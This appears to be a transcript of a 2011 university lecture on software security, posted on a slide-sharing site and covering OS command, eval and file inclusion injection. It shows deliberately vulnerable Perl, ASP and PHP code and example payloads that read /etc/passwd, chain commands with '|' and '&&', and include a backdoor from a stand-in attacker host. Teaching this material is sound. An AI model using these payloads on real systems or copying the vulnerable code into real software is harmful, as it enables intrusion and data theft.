Top Banner
Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011
19

Software Security Lecture 4

Feb 25, 2016

Download

Documents

Tiara

Software Security Lecture 4. Fang Yu Dept. of MIS, National Chengchi University Spring 2011. Outline. Today we will have Adam presenting how to attack authentications (Ch6) - PowerPoint PPT Presentation
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Software Security Lecture  4

Software SecurityLecture 4

Fang Yu

Dept. of MIS, National Chengchi University

Spring 2011

Page 2: Software Security Lecture  4

Outline

Today we will have Adam presenting how to attack authentications (Ch6)

Before his presentation, I will continue Command Injections (Ch9), and also I will present my recent research on how to prevent and remove injection vulnerabilities

The rest of your presentations have been scheduled. Please check the course web page and plan ahead. Let me know if you have any question.

The course website : http://soslab.nccu.edu.tw/Courses.html

Page 3: Software Security Lecture  4

Injecting Code II

Chapter 9The Web Application Hacker’s

Handbook

Page 4: Software Security Lecture  4

Interpreted Languages Recall that an interpreted language is

one whose execution involved a runtime component that interprets the code of the language and carries out the instructions that it contains

For example, SQL, Perl, ASP, PHP, etc.

Page 5: Software Security Lecture  4

Interpreted Languages In most applications, the code

processed by the interpreter is a mix of instructions written by a programmer and data supplied by a user.

An attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language.

Page 6: Software Security Lecture  4

Command Injection Attacks

Main problem: Incorrect or completely lack of validation of user input that results in the execution of commands on the server

We have discussed SQL injections last week. Today we will discuss OS command, Web scripting language, SOAP and SMTP injection attacks.

Page 7: Software Security Lecture  4

OS command: Injecting via Perl

Consider a Perl CGI Code that allows administrators to specify a directory and view a summary of its disk usages

#!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print header, start_html(“”); print “<pre>”; my $command = “du -h --exclude php* /var/www/html”; $command= $command.param(“dir”); $command=`$command`; print “$command\n”; print end_html;

Page 8: Software Security Lecture  4

When used as intended:

Page 9: Software Security Lecture  4

Injecting via Perl

“|” is used to redirect the output of a process to the input of another process

This enables multiple commands to be chained together

Page 10: Software Security Lecture  4

Inject code: (cat /etc/passwd)

Page 11: Software Security Lecture  4

OS Command: Injecting via ASP

Consider an ASP code that allows administrators to view the contents of a requested log file

type the log file cmd executes the command

<% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”) szCMD = “type c:\inetpub\wwwroot\logs\“ & Request.Form(“FileName”) szTempFile = “C:\“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %>

Page 12: Software Security Lecture  4

When used as intended: (submit last5.log)

Page 13: Software Security Lecture  4

Use && to batch multiple commands together Last5.log && dir c:\

Page 14: Software Security Lecture  4

Dynamic Execution Vulnerabilities

The PHP function eval() is used to dynamically execute code that is passed to the function at runtime

Consider a search function that enables users to create stored searches:

The server side implementation: creating a mysearch variable with

the value wahh

https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh

$storedsearch = $_GET[‘storedsearch’]; eval(“$storedsearch;”);

Page 15: Software Security Lecture  4

Dynamic execution in PHP The semicolon character can be used

to batch commands together in a single parameter.

For example, to retrieve the contents of the file /etc/password, you could use either the file_get_contentsor the system command:

https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh; %20echo%20file_get_contents(‘/etc/passwd’)

https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh; %20system(‘cat%20/etc/passwd’)

Page 16: Software Security Lecture  4

File Inclusion Attacks

Consider an application that delivers different content to people in different locations

A request looks like:

The application processes as follows:

https://wahh-app.com/main.php?Country=US

$country = $_GET[‘Country’]; include( $country . ‘.php’ );

Page 17: Software Security Lecture  4

File Inclusion Attacks

If the request has been intercepted:

The sever side may include an arbitrary remote file

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor

$country = $_GET[‘Country’]; include(http://wahh-attacker.com/backdoor .‘.php’ );

Page 18: Software Security Lecture  4

Quiz

What’s the main cause of injection vulnerabilities?

How to prevent injection vulnerabilities?

Let’s talk a little bit about Stranger

Page 19: Software Security Lecture  4

Next week

We will have Juilette presenting Attacking Session Management (Chapter 7), Jorina presenting Attacking Access Controls (Chapter 8)

We will also have Hsing Hunag presenting Burp Suite, a tool set for analyzing and attacking web applications